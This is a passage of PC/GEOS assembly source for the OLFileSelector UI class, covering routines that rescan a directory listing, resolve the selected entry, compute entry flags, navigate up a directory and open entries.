%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Sets the search text to nil, and restores all items CALLED BY: MSG_EFS_RESET_SEARCH PASS: *ds:si = OLFileSelectorClass object ds:di = OLFileSelectorClass instance data ds:bx = OLFileSelectorClass object (same as *ds:si) es = segment of OLFileSelectorClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- cthomas 12/23/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorRescan %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: rebuilds list using current volume, path (in generic instance data) CALLED BY: MSG_GEN_FILE_SELECTOR_RESCAN PASS: *ds:si - instance of OLFileSelector ax = MSG_GEN_FILE_SELECTOR_RESCAN RETURN: nothing DESTROYED: NOTE: invalidates any chunk pointers, dereference them again or die PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 02/01/90 Initial version brianc 4/91 Completed 2.0 revisions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorRescan method dynamic OLFileSelectorClass, MSG_GEN_FILE_SELECTOR_RESCAN ; ; mark busy ; mov ax, MSG_GEN_APPLICATION_MARK_APP_COMPLETELY_BUSY call UserCallApplication call OLFSRescanLow ; ; mark not busy ; carry - error flag ; mov ax, MSG_GEN_APPLICATION_MARK_APP_NOT_COMPLETELY_BUSY call UserCallApplication ret OLFileSelectorRescan endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFSSelectHomeFolder %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Select the home folder CALLED BY: PASS: *ds:si = instance data RETURN: carry set if home folder found DESTROYED: ax, bx, cx, dx, di, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JS 10/18/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFSRescanLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Rebuild the list of things to display and display them. CALLED BY: INTERNAL OLFileSelectorRescan, PASS: *ds:si = GenFileSelector RETURN: nothing NOTE: invalidates any chunk pointers, dereference them again or die DESTROYED: ax, bx, cx, dx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc ?/?/? Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSRescanLow proc near class OLFileSelectorClass mov di, 1000 call ThreadBorrowStackSpace push di ; ; start by setting OLFSS_SHOW_PARENT_DIR based on FSFC_DIRS ; (In Rudy, we never show the parent dir, up-directory is up to caller) ; call OLFSDeref_SI_Spec_DI ; ds:di = specific instance if not _DUI ornf ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR push di ; save spec offset call OLFSDeref_SI_Gen_DI test ds:[di].GFSI_fileCriteria, mask FSFC_DIRS pop di ; restore spec offset jnz haveParentDirFlag ; showing dirs, leave parent dir ; else, clear endif andnf ds:[di].OLFSI_state, not mask OLFSS_SHOW_PARENT_DIR haveParentDirFlag: call OLFSFreeBuffers push si ; save our chunk call OLFSReadList ; read new directory ; ; determine entry to select ; call OLFSDeref_SI_Gen_DI ; ds:di = generic instance mov si, ds:[si] add si, ds:[si].Vis_offset ; ds:si = specific instance call OLFSResolveSelection ; dx = entry # to select ; (destroys nothing) gotSelection: ; ; tell list to use new stuff ; dx = entry to select in new list ; mov cx, ds:[si].OLFSI_numFiles ; cx = number of files/dirs ; showing parent dir? test ds:[si].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR jz noParentDir ; nope, use actual file count inc cx ; make room for cur dir entry noParentDir: mov bx, ds:[si].OLFSI_uiBlock mov si, offset OLFileSelectorFileList push dx ; save new entry selected if _FILE_TABLE mov ax, MSG_TABLE_SET_ROW_COUNT mov di, mask MF_FIXUP_DS call ObjMessage mov ax, MSG_TABLE_REDRAW_TABLE else mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE endif mov di, mask MF_FIXUP_DS if _DUI push cx ; save file count endif call ObjMessage if _DUI ; ; set file count in header ; bx = UI block ; pop ax ; ax = file count sub sp, UHTA_NULL_TERM_BUFFER_SIZE segmov es, ss, di mov di, sp clr dx mov cx, mask UHTAF_NULL_TERMINATE call UtilHex32ToAscii push di mov cx, -1 LocalLoadChar ax, C_NULL LocalFindChar esdi LocalPrevChar esdi ; es:di = null LocalLoadChar ax, C_SPACE LocalPutChar esdi, ax LocalLoadChar ax, C_NULL LocalPutChar esdi, ax pop di mov dx, ss mov bp, di mov si, offset OLFileSelectorFileCount clr cx ; null-terminated mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage add sp, UHTA_NULL_TERM_BUFFER_SIZE pop ax ; ax = entry # pop si ; si = FS chunk push si ; put it all back push ax ;always use default name as we don't want to overload template dir ;though we still copy template dir into vis moniker as flag to enable ;file count (yes, a bad thing) ;-- brianc 3/1/97 ; mov ax, MSG_VIS_TEXT_APPEND_PTR ; assume using moniker ; mov di, ds:[si] ; add di, ds:[di].Gen_offset ; mov di, ds:[di].GI_visMoniker ; tst di ; jnz haveMoniker ; ; use default name (not really needed as we set the file count ; not usable if there's no moniker, but it is used for gstring ; monikers...) ; noMoniker: mov ax, MSG_VIS_TEXT_APPEND_OPTR mov dx, handle FSFileCountDefaultName mov bp, offset FSFileCountDefaultName jmp short setMoniker haveMoniker: mov di, ds:[di] ; ds:di = VisMoniker test ds:[di].VM_type, mask VMT_MONIKER_LIST or mask VMT_GSTRING jnz noMoniker mov bp, di add bp, offset VM_data.VMT_text ; dx:bp = text moniker mov dx, ds setMoniker: clr cx ; null-terminated mov si, offset OLFileSelectorFileCount mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage mov si, offset OLFileSelectorFileList ; set ^lbx:si = list endif ; _DUI pop dx ; ; force list to make selected entry visible ; push dx ; save entry selected for later mov cx, dx ; cx = entry to select if _FILE_TABLE cmp cx, -1 ;any entry? je noneSelected call OLFSSetFileTableSelection push dx, di, si call ObjBlockGetOutput ;^lbx:si = DocCtrl obj mov cx, MSG_GEN_SET_ENABLED mov ax, MSG_OLDC_NOTIFY_EDIT mov di, mask MF_FIXUP_DS call ObjMessage pop dx, di, si jmp alreadyVisible noneSelected: ; ; If cx = -1, that means there is no document, so we need to disable ; the "Title" button. ; push dx, di, si call ObjBlockGetOutput mov cx, MSG_GEN_SET_NOT_ENABLED mov dl, VUM_NOW mov ax, MSG_OLDC_ENABLE_DISABLE_RENAME mov di, mask MF_FIXUP_DS call ObjMessage pop dx, di, si jmp alreadyVisible else call OLFSSetGenItemSelection endif alreadyVisible: ; ; show current directory ; *ds:si = OLFileSelector instance ; pop bp ; bp = new entry selected pop si ; *ds:si = OLFileSelector inst. push si ; save again if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DIRECTORY_POPUP call OLFSShowCurrentDir ; preserves bp endif ; (invalidates chunk pointers) ; ; update selected item in "Change Drive" popup list ; if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP call OLFSSelectCurrentDriveInChangeDrivePopup endif ; ; notify AD of new selection or that there are no files ; bp = new entry selected ; pop si ; *ds:si = OLFileSelector ; ; build GenFileSelectorEntryFlags for new entry and send to AD ; *ds:si = file selector ; bp = entry # ; call OLFSBuildEntryFlagsAndSendAD pop di call ThreadReturnStackSpace ; ; If file selector has focus, give focus to list, as that is what the ; user normally wants ; *ds:si = file selector ; mov ax, MSG_VIS_VUP_QUERY_FOCUS_EXCL call ObjCallInstanceNoLock ; ^lcx:dx = focus object call OLFSDeref_SI_Spec_DI cmp ds:[di].OLFSI_uiBlock, cx ; is it one of ours? jne done ; nope, we don't have focus mov bx, cx ; else, give focus to list ; ; This part is commented out for Jedi because we don't want the table ; object get the focus. There are some weird behaviors on the function ; keys (bug #33634) when the table object gets the focus. ; mov si, offset OLFileSelectorFileList grabFocus:: mov ax, MSG_META_GRAB_FOCUS_EXCL mov di, mask MF_FORCE_QUEUE or mask MF_FIXUP_DS call ObjMessage done: ret OLFSRescanLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFSBuildEntryFlagsAndSendAD %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: build GenFileSelectorEntryFlags and send to AD CALLED BY: INTERNAL OLFSRescanLow OLFileSelectorSetSelection PASS: *ds:si = file selector bp = entry # RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 03/05/90 broken out for general use brianc 4/91 Completed 2.0 revisions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSBuildEntryFlagsAndSendAD proc near class OLFileSelectorClass uses es, si .enter call OLFSDeref_SI_Spec_DI mov cx, bp ; cx <- entry # clr bp ; no additional flags call OLFSBuildEntryFlagsAndSendADLow tst bx jz done call MemUnlock done: .leave ret OLFSBuildEntryFlagsAndSendAD endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFSBuildEntryFlagsAndSendADLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Really low-level routine shared by OLFSBuildEntryFlagsAndSendAD and OLFileSelectorListMethod to accomplish the same thing. CALLED BY: INTERNAL OLFSBuildEntryFlagsAndSendAD, OLFileSelectorListMethod PASS: ds:di = OLFileSelectorInstance cx = entry # (-1 if no entries) bp = initial GenFileSelectorEntryFlags RETURN: es:si = locked OLFileSelectorEntry (not valid if bx = 0) bx = handle of file buffer (0 if no buffer) DESTROYED: ax, bp, cx, dx si if RUDY and non-exclusive file selector PSEUDO CODE/STRATEGY: For non-exclusive file selectors (Rudy), we ignore the passed in entry, and query for the list of selected files. Then, place a loop around the code that fetches a single file's information. The code reads sort of like this: setup #if NON_EXCLUSIVE get selections for (n=0; n<numSelections; n++) { set up for calculating flags of N'th selected file #endif compute flags for file #if NON_EXCLUSIVE combine file's flags in with group } #endif send notification message KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 12/13/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSBuildEntryFlagsAndSendADLow proc near class OLFileSelectorClass .enter mov dx, si ; preserve our chunk mov ax, cx ; ax = entry # ; showing parent dir? test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR jz actualBufferEntry ; no, use actual buffer entry tst ax ; first entry? jnz bufferEntry ; no, is buffer entry ; ; build entry flags for first entry (current directory) ; bp = initial GenFileSelectorEntryFlags ; ornf bp, GFSET_SUBDIR shl offset GFSEF_TYPE ; update initial flags ;XXX set READ_ONLY bit? noBuffer: mov cx, bp ; cx - initial flags mov bx, 0 ; no buffer to unlock jmp checkNoEntries bufferEntry: dec cx ; adjust to buffer entry # actualBufferEntry: ; ; if no files, skip flag setting via buffer ; tst ds:[di].OLFSI_numFiles ; any files? jz noBuffer ; nope doMultiple:: ; ; Point es:si to the OLFileSelectorEntry for the passed entry number ; call OLFSDerefIndexBuffer ; si = offset into file buffer mov bx, ds:[di].OLFSI_fileBuffer ; lock file buffer call OLFSMemLock_ES ; es:si = entry to open ; ; Now go through the involved process of constructing the GFSEF ; flags for the beast. Start by determining the type of entry ; we've got. ; mov cx, bp ; cx <- initial flags CheckHack <GFSET_VOLUME eq GFSET_SUBDIR+1 and \ GFSET_SUBDIR eq GFSET_FILE+1> ; ; If it's a disk drive (FA_VOLUME is set), there are no other flags to ; set besides the type. ; ornf cx, GFSET_VOLUME shl offset GFSEF_TYPE ; assume showing volume test es:[si].OLFSE_fileAttrs, mask FA_VOLUME jnz endSettingFlags ; ; Assume it's a directory instead. If so, we have only the ; read-only flag to check. ; sub cx, 1 shl offset GFSEF_TYPE ; assume click on subdir test es:[si].OLFSE_fileAttrs, mask FA_SUBDIR ; a directory? jnz checkReadOnly ; yes ; ; Else the thing is a regular file, so adjust the type... ; sub cx, 1 shl offset GFSEF_TYPE ; is file ; ; And merge in the document flags from OLFSE_fileFlags. ; CheckHack <offset GFHF_TEMPLATE eq 15 and \ offset GFHF_SHARED_MULTIPLE eq 14 and \ offset GFHF_SHARED_SINGLE eq 13 and \ offset GFSEF_TEMPLATE eq 10 and \ offset GFSEF_SHARED_MULTIPLE eq 9 and \ offset GFSEF_SHARED_SINGLE eq 8> mov cl, es:[si].OLFSE_fileFlags.high andnf cl, (mask GFHF_TEMPLATE or mask GFHF_SHARED_MULTIPLE or \ mask GFHF_SHARED_SINGLE) shr 8 rol cl ; rotate the GFHF flags into their rol cl ; corresponding positions in the GFSEF rol cl ; record ornf ch, cl ; and merge them into same clr cl ; no flags in low byte, yet... if FSEL_DISABLES_FILTERED_FILES ; ; Check if the entry is in the rejected list (entry is filtered out) ; if this is the case then add GFSEF_DISABLED to cx. ; call OLFSCheckIfDisabled ; cx <- GenFileSelectoryEntryFlags endif ; FSEL_DISABLES_FILTERED_FILES checkReadOnly: ; ; If entry is read-only, set the appropriate flag. ; test es:[si].OLFSE_fileAttrs, mask FA_RDONLY jz endSettingFlags ornf cx, mask GFSEF_READ_ONLY endSettingFlags: checkNoEntries: ; ; If no files, set GFSEF_NO_ENTRIES ; tst ds:[di].OLFSI_numFiles jnz haveFiles ornf cx, mask GFSEF_NO_ENTRIES haveFiles: ; ; If the entry # is 0, then this is the parent directory entry ; test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR jz notParentDir ; no, don't set flag tst ax jnz notParentDir ornf cx, mask GFSEF_PARENT_DIR notParentDir: ; ; If error signaled, set the appropriate flag and clear the error, ; unless handling MSG_GEN_FILE_SELECTOR_OPEN_ENTRY, as error flag ; will be returned by that message's handler instead. ; test ds:[di].OLFSI_state, mask OLFSS_FORCE_OPEN jnz sendAD test ds:[di].OLFSI_state, mask OLFSS_RESCAN_ERROR jz sendAD ornf cx, mask GFSEF_ERROR andnf ds:[di].OLFSI_state, not mask OLFSS_RESCAN_ERROR sendAD: ; *ds:dx = file selector ; ax = entry # ; cx = GenFileSelectorEntryFlags ; es:si = OLFileSelectorEntry ; bx = fileBuffer handle. ; if RUDY & non-exclusive, ; bp = GenFileSelectorEntryFlags mask ; ax = number of selections ; si = handle of selections block xchg si, dx ; *ds:si = OLFileSelector call OLFSSendAD ; destroys nothing mov si, dx ; es:si <- entry again .leave ret OLFSBuildEntryFlagsAndSendADLow endp if FSEL_DISABLES_FILTERED_FILES COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFSCheckIfDisabled %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Checks if the entry is in the reject list, if the GFSEF_DISABLED flag is set. CALLED BY: (INTERNAL) OLFSBuildEntryFlagsAndSendADLow PASS: ds:di = OLFileSelectorInstance es:si = OLFileSelectorEntry cx = GenFileSelectorEntryFlags RETURN: cx = GenFileSelectorEntryFlags DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- SH 10/ 6/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSCheckIfDisabled proc near uses ax,bx,dx,si,di,es .enter ; ; see if file was rejected by filter routine ; mov dx, ds:[di].OLFSI_numRejects tst dx jz noRejects mov ax, ds:[di].OLFSI_rejectList tst ax jz noRejects mov_tr bx, ax call MemLock jc noRejects ; bail if lock error push cx pushdw es:[si].OLFSE_id mov es, ax ; es:di = first FileID in reject list clr di mov cx, dx ; cx <- number of rejects popdw dxax checkRejectLoop: cmp ({FileID}es:[di]).high, dx jne tryNext cmp ({FileID}es:[di]).low, ax je unlockDisable ; found in reject list, disable (C clr) tryNext: add di, size FileID ; move to next FileID loop checkRejectLoop stc ; not in reject list unlockDisable: call MemUnlock ; unlock reject list (saves flags) pop cx ; ; If the the carry is not set then we have a disabled file and we ; set the appropriate flag. ; jc noRejects ornf cx, mask GFSEF_DISABLED noRejects: .leave ret OLFSCheckIfDisabled endp endif ;FSEL_DISABLES_FILTERED_FILES COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFSResolveSelection %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: set current selection CALLED BY: INTERNAL OLFileSelectorSetSelection OLFSRescanLow PASS: ds:di = generic instance ds:si = specific instance RETURN: dx = entry number to select carry clear if selection passed AND found carry set otherwise DESTROYED: nothing PSEUDO CODE/STRATEGY: Resolving '.' (the current directory first entry) will fail to find a match in the file buffer, causing the first entry to be selected. This is the desired result. KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 03/02/90 Initial version brianc 4/91 Completed 2.0 revisions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSResolveSelection proc near uses ax, bx, cx, ds, si, es, di class OLFileSelectorClass matchString local fptr matchFound local byte .enter mov matchFound, 0 ; no match mov dx, 0 ; assume no files ; (assume select first entry) ; showing parent directory? test ds:[si].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR jnz haveDefaultSelection ; yes, use dx=0 dec dx ; else, use dx=-1 (no selection) haveDefaultSelection: cmp ds:[si].OLFSI_numFiles, 0 ; any files? LONG je exit ; no, select first entry ; current dir (dx = 0) add di, offset GFSI_selection ; ds:di = match string SBCS < cmp {byte} ds:[di], 0 ; null string? > DBCS < cmp {wchar}ds:[di], 0 ; null string? > LONG je exitWithFirstEntry ; yes, select first entry mov matchString.segment, ds ; save string to match mov matchString.offset, di mov di, si ; ds:di = specific instance mov bx, ds:[di].OLFSI_indexBuffer ; lock index buffer tst bx jz exitWithFirstEntry ; no buffer, select first entry push ds, di ; save specific instance push ds:[di].OLFSI_fileBuffer ; get file buffer mov cx, ds:[di].OLFSI_numFiles ; cx = file count call MemLock mov ds, ax ; ds:si = index buffer clr si pop bx call OLFSMemLock_ES ; lock file buffer mov ss:[matchFound], 1 fileLoop: inc dx ; advance counter to next entry lodsw ; ax = file buffer offset mov di, ax ; es:di = entry push ds, si, di, cx ; save stuff lds si, matchString ; ds:si = string to match add di, offset OLFSE_name ; offset to name if DBCS_PCGEOS call LocalStringLength ;cx <- length w/o NULL inc cx ;cx <- length w/ NULL else push di ; save entry name mov cx, -1 clr al ; find null-terminator repne scasb not cx ; cx = entry name length + null pop di ; retrieve entry name endif SBCS < repe cmpsb ; does it match desired name?> DBCS < repe cmpsw ; does it match desired name?> pop ds, si, di, cx ; retrieve stuff loopne fileLoop je unlockBuffers clr dx ; select first entry mov ss:[matchFound], 0 unlockBuffers: pop ds, di ; retrieve specific instance mov bx, ds:[di].OLFSI_fileBuffer call MemUnlock ; unlock file buffer mov bx, ds:[di].OLFSI_indexBuffer call MemUnlock ; unlock index buffer exit: cmp matchFound, 1 ; matchFound = 0 if not found ; matchFound = 1 if found ; -> C set if not found ; -> C clear if found .leave ret ; <<--- EXIT HERE exitWithFirstEntry: mov dx, 0 ; select first entry mov ss:[matchFound], 1 ; indicate selection found jmp short exit OLFSResolveSelection endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorUpDirectory %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: go up one directory CALLED BY: MSG_GEN_FILE_SELECTOR_UP_DIRECTORY PASS: *ds:si - instance of OLFileSelector ax = MSG_OL_FILE_SELECTOR_PATH_BUTTON RETURN: DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 01/31/90 Initial version brianc 4/91 Completed 2.0 revisions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorUpDirectory method dynamic OLFileSelectorClass, \ MSG_GEN_FILE_SELECTOR_UP_DIRECTORY, MSG_OL_FILE_SELECTOR_CLOSE_DIR_BUTTON ; showing parent dir entry? test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR jz reallyGoUp ; nope, go really up push si ; save OLFileSelector chunk mov bx, ds:[di].OLFSI_uiBlock ; ^lbx:si = dynamic list mov si, offset OLFileSelectorFileList mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage ; ax = current selection pop dx ; restore OLFileSelector chunk tst ax ; first entry selected? jz goUp ; if so, then really go up ; ; just move selection to first entry ; push dx ; save OLFileSelector chunk clr cx ; set first entry if _FILE_TABLE call OLFSSetFileTableSelection else call OLFSSetGenItemSelection endif clr bp ; bp = first entry pop si ; *ds:si = OLFileSelector call OLFSBuildEntryFlagsAndSendAD if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DIRECTORY_POPUP call OLFSShowCurrentDir ; update to reflect new ; selection endif jmp short done goUp: mov si, dx ; *ds:si = OLFileSelector reallyGoUp: mov cx, OLFS_UP_DIRECTORY_ENTRY_NUM ; else, go up one level call OLFileSelectorListMethod done: ret OLFileSelectorUpDirectory endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorDocumentButtonHandler %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: go to document directory and turn on "can't navigate above current directory" mode, if requested CALLED BY: MSG_OL_FILE_SELECTOR_DOCUMENT_BUTTON PASS: *ds:si - instance of OLFileSelector ax = MSG_OL_FILE_SELECTOR_DOCUMENT_BUTTON RETURN: DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/2/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorDocumentButtonHandler method dynamic OLFileSelectorClass, \ MSG_OL_FILE_SELECTOR_DOCUMENT_BUTTON if SINGLE_DRIVE_DOCUMENT_DIR mov al, DOCUMENT_DRIVE_NUM ; brute force disk check, call DiskRegisterDisk ; to avoid weird DOS problems jc error ; with the disk not being in ; the drive on startup, and ; to speed things up. 1/21/94 endif ; ; Change to the document directory ; NOFXIP< mov cx, cs > NOFXIP< mov dx, offset rootPath > FXIP < push ds > FXIP < segmov ds, cs, dx > FXIP < mov dx, offset rootPath > FXIP < clr cx > FXIP < call SysCopyToStackDSDX > FXIP < mov cx, ds ; cx:dx = string > FXIP < pop ds > mov bp, SP_DOCUMENT mov ax, MSG_OL_FILE_SELECTOR_PATH_SET call ObjCallInstanceNoLock FXIP < call SysRemoveFromStack > jc error ; error ; ; update "Change Drive" popup moniker to show DOCUMENT drive ; mov dx, FALSE ; set back to "Change Drives" if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP call OLFSUpdateChangeDrivePopupMoniker endif ; ; update selected item in "Change Drive" popup list ; updateDrive: if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP call OLFSSelectCurrentDriveInChangeDrivePopup endif jmp short done error: push si ; save FS chunk call OLFSNotifyUserOfDiskError ; report error and leave ; current filelist pop si ; restore FS chunk if not SINGLE_DRIVE_DOCUMENT_DIR jmp short updateDrive ; restore selected drive endif done: ret OLFileSelectorDocumentButtonHandler endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorOpenEntry %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Open entry specified. This should be used to manually open a directory or a volume, as needed when user clicks a "Open"-type button that is in the same dialog box as the GenFileSelector. Has no effect if entry is a file. Typically, the entry number passed will have been extracted from the GenFileSelectorEntryFlags sent to the action descriptor, or returned from MSG_GEN_FILE_SELECTOR_GET_SELECTION. Only valid after GenFileSelector is made visible, as the file list is destroyed when the File Selector is brought off the screen. CALLED BY: MSG_GEN_FILE_SELECTOR_OPEN_ENTRY PASS: *ds:si = OLFileSelector instance cx = entry # RETURN: carry clear if no error carry set if error DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 02/21/90 Initial version brianc 4/91 Completed 2.0 revisions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorOpenEntry method dynamic OLFileSelectorClass, \ MSG_GEN_FILE_SELECTOR_OPEN_ENTRY ; showing parent dir? test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR jz skipParentDirCheck ; nope, skip special check jcxz done ; no effect on first entry skipParentDirCheck: mov ax, ds:[di].OLFSI_numFiles ; ax = number of files tst ax jz error ; no files -> indicate error cmp cx, ax ;if there are X files and OLFSS_SHOW_PARENT_DIR is set, then the maximum entry ;number is X because of first entry for current directory. If ;OLFSS_SHOW_PARENT_DIR is not set, then the maximum entry number is X-1, as ;entry numbers are 0-based. OLFileSelectorDoublePress deals with this before ;accessing file buffer EC < ERROR_A OL_FILE_SELECTOR_BAD_ENTRY_NUMBER > EC < test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR > EC < jnz validEntry > EC < cmp cx, ax > EC < ERROR_AE OL_FILE_SELECTOR_BAD_ENTRY_NUMBER > NEC < ja error > NEC < test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR > NEC < jnz validEntry > NEC < cmp cx, ax > NEC < jae error > validEntry: ; force opening of dirs/vols ornf ds:[di].OLFSI_state, mask OLFSS_FORCE_OPEN push si ; save instance handle ; simulate double-click call OLFileSelectorDoublePress ; (may set OLFSS_RESCAN_ERROR) pop si ; retrieve instance handle call OLFSDeref_SI_Spec_DI ; ds:di = specific instance andnf ds:[di].OLFSI_state, not mask OLFSS_FORCE_OPEN ; assume no error test ds:[di].OLFSI_state, mask OLFSS_RESCAN_ERROR jz done ; no error (carry clear) ; else, clear error flag... andnf ds:[di].OLFSI_state, not mask OLFSS_RESCAN_ERROR error: stc ; ...and indicate error done: ret OLFileSelectorOpenEntry endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorSuspend %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Begin suspension of file selector rescanning to allow changing mulitple attributes with having multiple rescans. Only the following attribute setting methods are affect: MSG_GEN_FILE_SELECTOR_SET_SELECTION MSG_GEN_FILE_SELECTOR_SET_PATH MSG_GEN_FILE_SELECTOR_SET_MASK 